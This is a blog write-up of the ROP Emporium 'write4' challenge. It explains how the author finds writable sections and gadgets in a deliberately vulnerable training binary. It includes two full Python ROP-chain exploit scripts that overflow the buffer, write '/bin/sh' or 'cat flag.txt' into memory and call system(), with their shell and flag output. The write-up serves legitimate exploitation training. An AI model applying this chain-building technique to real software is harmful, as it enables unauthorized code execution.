ROP Emporium | write4 Solution

Our first foray into proper gadget use. A call to system() is still present but we’ll need to write a string into memory somehow.

The binary and challenge description can be found here:
https://ropemporium.com/challenge/write4.html

For this challenge, I’ll focus on the 64-bit version first and create a solution for 32-bit later. I know I’ll need to get a string into memory, a pointer to that string into the RDI register, and then call system(). The main hurdle to overcome here is getting the string into memory. The challenge description states, “Perhaps the most important thing to consider in this challenge is where we’re going to write our string. Use rabin2 or readelf to check out the different sections of this binary and their permissions.” So, let’s do that first:

andrew ~/write4 $ rabin2 -S write4 
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ---- 
1   0x00000238   0x1c 0x00400238   0x1c -r-- .interp
2   0x00000254   0x20 0x00400254   0x20 -r-- .note.ABI_tag
3   0x00000274   0x24 0x00400274   0x24 -r-- .note.gnu.build_id
4   0x00000298   0x30 0x00400298   0x30 -r-- .gnu.hash
5   0x000002c8  0x120 0x004002c8  0x120 -r-- .dynsym
6   0x000003e8   0x74 0x004003e8   0x74 -r-- .dynstr
7   0x0000045c   0x18 0x0040045c   0x18 -r-- .gnu.version
8   0x00000478   0x20 0x00400478   0x20 -r-- .gnu.version_r
9   0x00000498   0x60 0x00400498   0x60 -r-- .rela.dyn
10  0x000004f8   0xa8 0x004004f8   0xa8 -r-- .rela.plt
11  0x000005a0   0x1a 0x004005a0   0x1a -r-x .init
12  0x000005c0   0x80 0x004005c0   0x80 -r-x .plt
13  0x00000640    0x8 0x00400640    0x8 -r-x .plt.got
14  0x00000650  0x252 0x00400650  0x252 -r-x .text
15  0x000008a4    0x9 0x004008a4    0x9 -r-x .fini
16  0x000008b0   0x64 0x004008b0   0x64 -r-- .rodata
17  0x00000914   0x44 0x00400914   0x44 -r-- .eh_frame_hdr
18  0x00000958  0x134 0x00400958  0x134 -r-- .eh_frame
19  0x00000e10    0x8 0x00600e10    0x8 -rw- .init_array
20  0x00000e18    0x8 0x00600e18    0x8 -rw- .fini_array
21  0x00000e20    0x8 0x00600e20    0x8 -rw- .jcr
22  0x00000e28  0x1d0 0x00600e28  0x1d0 -rw- .dynamic
23  0x00000ff8    0x8 0x00600ff8    0x8 -rw- .got
24  0x00001000   0x50 0x00601000   0x50 -rw- .got.plt
25  0x00001050   0x10 0x00601050   0x10 -rw- .data
26  0x00001060    0x0 0x00601060   0x30 -rw- .bss
27  0x00001060   0x34 0x00000000   0x34 ---- .comment
28  0x00001ae2  0x10c 0x00000000  0x10c ---- .shstrtab
29  0x00001098  0x768 0x00000000  0x768 ---- .symtab
30  0x00001800  0x2e2 0x00000000  0x2e2 ---- .strtab

We can effectively ignore any section that doesn’t have a “w” under the “perm” column as only those have write permissions. The .data section is for initialized yet writable data, such as global variables. This should work for storing our string. So the address we’ll use to store it is 0x601050.

Next, we need to figure out how to store that string there. The challenge description says, “we’ll be looking for gadgets that let us write a value to memory such as mov [reg], reg.” Past challenges have always had a “usefulGadgets” symbol. We can use radare2 to find this:

As you can see, this “useful gadget” does exactly what we need. It moves that value stored in the R15 register to the location pointed to by the R14 register. I’ll make note that the address of this gadget is 0x400820. Now we just need a gadget to get those registers populated. I can use ropper for this:

andrew ~/write4 $ ropper --file write4 --search "pop r14"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r14

[INFO] File: write4
0x0000000000400890: pop r14; pop r15; ret;

How convenient! I found one gadget that does exactly what I need, pop a value into R14 and R15, respectively. Again, I’ll note that the address for this gadget is 0x400890.

In order to make the call to system(), we’ll need to the address of the string (0x601050) saved to RDI. For this, we’ll need a pop rdi gadget.

andrew ~/write4 $ ropper --file write4 --search "pop rdi; ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret

[INFO] File: write4
0x0000000000400893: pop rdi; ret;

Here we found a gadget at 0x400893. The last thing we need is the address of system():

andrew ~/write4 $ rabin2 -i write4
[Imports]
nth vaddr      bind   type   name
―――――――――――――――――――――――――――――――――
1   0x004005d0 GLOBAL FUNC   puts
2   0x004005e0 GLOBAL FUNC   system
3   0x004005f0 GLOBAL FUNC   printf
4   0x00400600 GLOBAL FUNC   memset
5   0x00400610 GLOBAL FUNC   __libc_start_main
6   0x00400620 GLOBAL FUNC   fgets
7   0x00000000 WEAK   NOTYPE __gmon_start__
8   0x00400630 GLOBAL FUNC   setvbuf

We can use the address 0x4005e0 as the last link in our ROP chain. The entire ROP chain should look like this:

"A" * 40 => buffer
0x400890 => Gadget: pop r14; pop r15; ret;
0x601050 => Where to save the string in .data section (R14)
/bin/sh  => The string (R15)
0x400820 => Gadget: mov QWORD PTR [r14], r15; ret;
0x400893 => Gadget: pop rdi; ret;
0x601050 => Location of the string in .data section
0x4005e0 => system()

You’ll notice that the string I chose to use is “/bin/sh” (to get a shell) instead of simply “cat flag.txt”. I’m trying to keep this exploit as simple as possible so I needed a string that was no more than 7 characters long (plus a null byte at the end) since I can only store up to 8 bytes in a register at a time. Later I’ll try a longer string. Time to put this exploit together in a Python script:

#!/usr/bin/env python3

import struct
import sys

location = struct.pack("Q", 0x601050) # Save the string to the .data section

payload  = b"A" * 40
payload += struct.pack("Q", 0x400890) # pop r14; pop r15; ret;
payload += location                   # Address where the string will be written to
payload += b"/bin/sh\x00"             # The string
payload += struct.pack("Q", 0x400820) # mov QWORD PTR [r14],r15; ret;
payload += struct.pack("Q", 0x400893) # pop rdi; ret;
payload += location                   # Address of where the string is saved to
payload += struct.pack("Q", 0x4005e0) # PLT address of system()

sys.stdout.buffer.write(payload)

Let’s put it to use:

andrew ~/write4 $ (./exploit.py; echo; cat) | ./write4
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> id
uid=1000(andrew) gid=985(users) groups=985(users),98(power),988(storage),998(wheel)
cat flag.txt
ROPE{a_placeholder_32byte_flag!}

Update:

Now I’d like to use a longer string than just “/bin/sh”. I’ll need to use the "pop r14; pop r15;" and "mov QWORD PTR [r14],r15;" gadgets multiple times:

#!/usr/bin/env python3

import sys

location = 0x601050  # Save the string to the .data section

payload  = b"A" * 40
payload += (0x400890).to_bytes(8, "little")   # pop r14; pop r15; ret;
payload += (location).to_bytes(8, "little")   # Address where the string will be written to
payload += b"cat flag"
payload += (0x400820).to_bytes(8, "little")   # mov QWORD PTR [r14],r15; ret;
payload += (0x400890).to_bytes(8, "little")   # pop r14; pop r15; ret;
payload += (location+8).to_bytes(8, "little") # Address where the string will be written to
payload += b".txt\x00\x00\x00\x00"
payload += (0x400820).to_bytes(8, "little")   # mov QWORD PTR [r14],r15; ret;
payload += (0x400893).to_bytes(8, "little")   # pop rdi; ret;
payload += (location).to_bytes(8, "little")   # Address of where the string is saved to
payload += (0x4005e0).to_bytes(8, "little")   # PLT address of system()

sys.stdout.buffer.write(payload)

By the way, I never realized (until now) that I don’t need to use the struct module in python3 as there’s a built-in called to_bytes(). Anyway, now the exploit simply cats the flag:

ndrew ~/write4 $ ./exploit2.py | ./write4 
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.